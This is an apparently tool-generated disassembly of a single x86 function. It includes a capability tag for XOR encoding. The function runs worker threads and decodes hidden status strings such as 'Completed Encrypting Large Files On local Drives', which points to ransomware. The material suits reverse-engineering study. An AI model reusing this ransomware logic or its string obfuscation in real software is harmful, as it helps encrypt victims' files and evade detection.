Function at 0x410880
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push ebx
push esi
push edi
lea eax, [ebp - 0x160]
mov dword [ebp - 0x10], 0
push eax
call dword [0x425180]
mov eax, dword [ebp - 0x14c]
lea esi, [eax*4]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4108e4
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov dword [ebp - 4], eax
test eax, eax
je 0x4108c3
mov eax, dword [ebp - 0x14c]
lea esi, [eax*4]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov ebx, eax
mov dword [ebp - 0x78], ebx
test ebx, ebx
jne 0x410933
lea esp, [esp]
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov ebx, eax
mov dword [ebp - 0x78], eax
test ebx, ebx
je 0x410910
mov ecx, dword [0x425974]
mov edx, dword [0x4256ec]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
jmp 0x410950
mov edi, dword [0x4259b8]
cmp edi, 0x4259b8
je 0x410a94
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x14], ebx
jmp 0x410973
mov ecx, dword [ebp - 8]
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x13c], esi
test eax, eax
jne 0x4109aa
mov eax, dword [edi + 0x20]
push 0
push 0
push eax
push 0x413680
push 0
push 0
mov byte [eax + 4], cl
mov byte [eax + 5], dl
call dword [0x425348]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x410a36
jmp 0x4109f0
cmp eax, 1
jne 0x4109f0
mov ebx, dword [edi + 0x20]
push 0
push 4
push ebx
push fcn.0040fcc0
push 0
push 0
mov byte [ebx], cl
mov byte [ebx + 1], dl
call dword [0x425348]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x410a33
mov eax, dword [ebx + 4]
test eax, eax
je 0x4109e4
push eax
lea eax, [ebp - 0x10]
push eax
call dword [0x425060]
push dword [ebp - 0x10]
call dword [0x425354]
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
inc esi
mov eax, dword [ebp - 0x10]
mov dword [ecx + ebx*4], eax
inc ebx
mov dword [ebp - 0x14], ebx
cmp esi, dword [ebp - 0x14c]
jne 0x410a39
push 0xffffffffffffffff
push 0
push ecx
push esi
call dword [0x4250c0]
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], ebx
mov ecx, dword [eax + ebx*4]
push ecx
mov dword [eax + ebx*4], 0
call dword [0x4251e0]
mov esi, dword [ebp - 0x13c]
jmp 0x410a36
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
mov edi, dword [edi]
mov edx, dword [ebp - 0xc]
cmp edi, 0x4259b8
jne 0x410970
mov ebx, dword [ebp - 0x78]
test esi, esi
je 0x410a8e
mov eax, esi
mov edx, ebx
mov edi, dword [ecx]
lea ecx, [ecx + 4]
test edi, edi
je 0x410a64
mov dword [edx], edi
add edx, 4
dec eax
test eax, eax
jne 0x410a55
push 0xffffffffffffffff
push 1
push ebx
push esi
call dword [0x4250c0]
xor edi, edi
test esi, esi
jle 0x410a8e
lea ebx, [ebx]
push dword [ebx + edi*4]
call dword [0x4251e0]
inc edi
cmp edi, esi
jl 0x410a80
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x410bc9
mov esi, 0xf6
mov dword [ebp - 0x138], 0x9900b5
mov dword [ebp - 0x134], 0x86009b
xor eax, eax
mov dword [ebp - 0x130], 0x93009a
mov dword [ebp - 0x12c], 0x930082
mov dword [ebp - 0x128], 0xd60092
mov dword [ebp - 0x124], 0x9800b3
mov dword [ebp - 0x120], 0x840095
mov dword [ebp - 0x11c], 0x86008f
mov dword [ebp - 0x118], 0x9f0082
mov dword [ebp - 0x114], 0x910098
mov dword [ebp - 0x110], 0xba00d6
mov dword [ebp - 0x10c], 0x840097
mov dword [ebp - 0x108], 0x930091
mov dword [ebp - 0x104], 0xb000d6
mov dword [ebp - 0x100], 0x9a009f
mov dword [ebp - 0xfc], 0x850093
mov dword [ebp - 0xf8], 0xb900d6
mov dword [ebp - 0xf4], 0xd60098
mov dword [ebp - 0xf0], 0x99009a
mov dword [ebp - 0xec], 0x970095
mov dword [ebp - 0xe8], 0xd6009a
mov dword [ebp - 0xe4], 0x8400b2
mov dword [ebp - 0xe0], 0x80009f
mov dword [ebp - 0xdc], 0x850093
mov word [ebp - 0xd8], si
lea ebx, [ebx]
xor word [ebp + eax*2 - 0x138], si
inc eax
cmp eax, 0x31
jb 0x410ba0
lea eax, [ebp - 0x138]
push eax
push 0
call fcn.0040b980
mov ecx, dword [ebp - 8]
add esp, 8
xor edx, edx
jmp 0x410942
test ecx, ecx
je 0x410cd2
mov esi, 0xf6
mov dword [ebp - 0x72], 0x9900b5
mov dword [ebp - 0x6e], 0x86009b
xor eax, eax
mov dword [ebp - 0x6a], 0x93009a
mov dword [ebp - 0x66], 0x930082
mov dword [ebp - 0x62], 0xd60092
mov dword [ebp - 0x5e], 0x9800b3
mov dword [ebp - 0x5a], 0x840095
mov dword [ebp - 0x56], 0x86008f
mov dword [ebp - 0x52], 0x9f0082
mov dword [ebp - 0x4e], 0x910098
mov dword [ebp - 0x4a], 0xb700d6
mov dword [ebp - 0x46], 0x9a009a
mov dword [ebp - 0x42], 0xb000d6
mov dword [ebp - 0x3e], 0x9a009f
mov dword [ebp - 0x3a], 0x850093
mov dword [ebp - 0x36], 0xb900d6
mov dword [ebp - 0x32], 0xd60098
mov dword [ebp - 0x2e], 0x99009a
mov dword [ebp - 0x2a], 0x970095
mov dword [ebp - 0x26], 0xd6009a
mov dword [ebp - 0x22], 0x8400b2
mov dword [ebp - 0x1e], 0x80009f
mov dword [ebp - 0x1a], 0x850093
mov word [ebp - 0x16], si
lea ecx, [ecx]
xor word [ebp + eax*2 - 0x72], si
inc eax
cmp eax, 0x2f
jb 0x410c80
lea eax, [ebp - 0x72]
push eax
push 0
call fcn.0040b980
add esp, 8
push dword [0x4259c0]
call dword [0x425184]
cmp dword [0x42546c], 0
je 0x410cc5
cmp dword [0x425974], 2
jne 0x410cc5
push 0xffffffffffffffff
push dword [0x4259ac]
call dword [0x42523c]
mov edx, dword [ebp - 0xc]
xor ecx, ecx
mov dword [ebp - 8], ecx
jmp 0x410950
cmp dword [0x425974], 0
jne 0x410dfc
mov esi, 0xf6
mov dword [ebp - 0xd6], 0x9900b5
mov dword [ebp - 0xd2], 0x86009b
xor eax, eax
mov dword [ebp - 0xce], 0x93009a
mov dword [ebp - 0xca], 0x930082
mov dword [ebp - 0xc6], 0xd60092
mov dword [ebp - 0xc2], 0x9800b3
mov dword [ebp - 0xbe], 0x840095
mov dword [ebp - 0xba], 0x86008f
mov dword [ebp - 0xb6], 0x9f0082
mov dword [ebp - 0xb2], 0x910098
mov dword [ebp - 0xae], 0xb700d6
mov dword [ebp - 0xaa], 0x9a009a
mov dword [ebp - 0xa6], 0xb000d6
mov dword [ebp - 0xa2], 0x9a009f
mov dword [ebp - 0x9e], 0x850093
mov dword [ebp - 0x9a], 0xb900d6
mov dword [ebp - 0x96], 0xd60098
mov dword [ebp - 0x92], 0x99009a
mov dword [ebp - 0x8e], 0x970095
mov dword [ebp - 0x8a], 0xd6009a
mov dword [ebp - 0x86], 0x8400b2
mov dword [ebp - 0x82], 0x80009f
mov dword [ebp - 0x7e], 0x850093
mov word [ebp - 0x7a], si
lea ecx, [ecx]
xor word [ebp + eax*2 - 0xd6], si
inc eax
cmp eax, 0x2f
jb 0x410dd0
lea eax, [ebp - 0xd6]
push eax
push 0
call fcn.0040b980
add esp, 8
cmp dword [0x425974], 0
je 0x410eba
mov esi, 0xf6
mov dword [ebp - 0x6e], 0x9900b5
mov dword [ebp - 0x6a], 0x86009b
xor eax, eax
mov dword [ebp - 0x66], 0x93009a
mov dword [ebp - 0x62], 0x930082
mov dword [ebp - 0x5e], 0xd60092
mov dword [ebp - 0x5a], 0x9300a4
mov dword [ebp - 0x56], 0x970098
mov dword [ebp - 0x52], 0x9f009b
mov dword [ebp - 0x4e], 0x910098
mov dword [ebp - 0x4a], 0xb700d6
mov dword [ebp - 0x46], 0x9a009a
mov dword [ebp - 0x42], 0xb000d6
mov dword [ebp - 0x3e], 0x9a009f
mov dword [ebp - 0x3a], 0x850093
mov dword [ebp - 0x36], 0xb900d6
mov dword [ebp - 0x32], 0xd60098
mov dword [ebp - 0x2e], 0x99009a
mov dword [ebp - 0x2a], 0x970095
mov dword [ebp - 0x26], 0xd6009a
mov dword [ebp - 0x22], 0x8400b2
mov dword [ebp - 0x1e], 0x80009f
mov dword [ebp - 0x1a], 0x850093
mov word [ebp - 0x16], si
xor word [ebp + eax*2 - 0x6e], si
inc eax
cmp eax, 0x2d
jb 0x410ea1
lea eax, [ebp - 0x6e]
push eax
push 0
call fcn.0040b980
add esp, 8
mov eax, dword [ebp - 4]
push eax
push 0
push dword [0x425ba8]
call dword [0x425290]
push ebx
push 0
push dword [0x425ba8]
call dword [0x425290]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret